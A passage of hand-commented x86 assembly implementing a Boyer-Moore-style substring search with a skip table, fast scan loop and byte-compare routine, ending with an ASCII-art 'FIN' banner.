        mov  [eax*4+edi-32], edx  ;
        mov  [eax*4+edi-36], edx  ;
        mov  [eax*4+edi-40], edx  ;
        mov  [eax*4+edi-44], edx  ;
        mov  [eax*4+edi-48], edx  ;
        mov  [eax*4+edi-52], edx  ;
        mov  [eax*4+edi-56], edx  ;
        mov  [eax*4+edi-60], edx  ;
        mov  [eax*4+edi-64], edx  ;
        mov  [eax*4+edi-68], edx  ;
        mov  [eax*4+edi-72], edx  ;
        mov  [eax*4+edi-76], edx  ;
        mov  [eax*4+edi-80], edx  ;
        mov  [eax*4+edi-84], edx  ;
        mov  [eax*4+edi-88], edx  ;
        mov  [eax*4+edi-92], edx  ;
        mov  [eax*4+edi-96], edx  ;
        mov  [eax*4+edi-100], edx ;
        mov  [eax*4+edi-104], edx ;
        mov  [eax*4+edi-108], edx ;
        mov  [eax*4+edi-112], edx ;
        mov  [eax*4+edi-116], edx ;
        mov  [eax*4+edi-120], edx ;
        mov  [eax*4+edi-124], edx ;
        mov  [eax*4+edi-128], edx ;
        sub  eax, 32          ;
        jne  MaxSkipLens      ; loop while eax=0
SkipLens:                     ;
        mov  al, [ecx+ebx+1] ;u filling up with the real negative offset of
        inc  ecx ;v every byte from the pSrchData, starting from
        mov  [eax*4+edi], ecx ;u the last to the first, at the offset in
        jne  SkipLens ;v skip_table equal to the ASCII code of the
                      ;  byte, multiplied by 4
Search:               ;  the main searching loop-> FAST PART
        mov  al, [esi+ebp] ;u get a byte  from pBuffer ->esi +ebp
        mov  ecx, edx ;v ecx=edx= -lenSrchData
        sub  ebp, [eax*4+edi] ;u sub negative offset for this byte from
                      ;  skip_table
        jc   Search ;v if dword ptr [eax*4+edi] AND ebp  0 loop
                      ;  again
        lea  ebp, [ebp+esi+1] ;u current negative index -> next byte (+1)
        jge  Not_found ;v end of pBuffer control (if ebp>=0 end)
                      ; compare previous bytes from pSrchData (->ebx)
Compare:              ; and current offset in pBuffer (->ebp)->SLOW
                      ; PART
        mov  eax, [ebx+ecx+1] ; one dword from pSrchData -> ebx
        inc  ecx              ; ecx = -lenSrchData
        jz   Found            ; if ecx = 0 Found&Exit
```

```
        cmp  al, [ebp+ecx-1]  ; ebp->pBuffer
        jnz  Not_equal        ;
        inc  ecx              ; ecx = -lenSrchData
        jz   Found            ; if ecx = 0 Found&Exit
        cmp  ah, [ebp+ecx-1]  ; ebp->pBuffer
        jnz  Not_equal        ;
        inc  ecx              ; ecx = -lenSrchData
        jz   Found            ; if ecx=0 Found&Exit
        shr  eax, 16          ;
        inc  ecx              ;
        cmp  al, [ebp+ecx-2]  ; ebp->pBuffer
        jnz  Not_equal        ;
        test ecx, ecx         ; ecx = -lenSrchData
        jz   Found            ; if ecx=0 Found&Exit
        cmp  ah, [ebp+ecx-1]  ; ebp->pBuffer
        jz   Compare          ;
Not_equal:                    ;
        sub  eax, eax         ; eax = 0
        sub  ebp, esi         ; restore ebp->current negative index
        jl   Search           ; end of pBuffer control
Not_found:                    ;
        or   eax, -1          ; Exit with flag Not_Found eax=-1
        ret                   ;
Found:                        ;
        lea  eax, [ebp+edx]   ; in eax->pointer to 1st
        ret                   ; occurrence  of data found in pBuffer


::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...........................................FIN
```

[Top](#)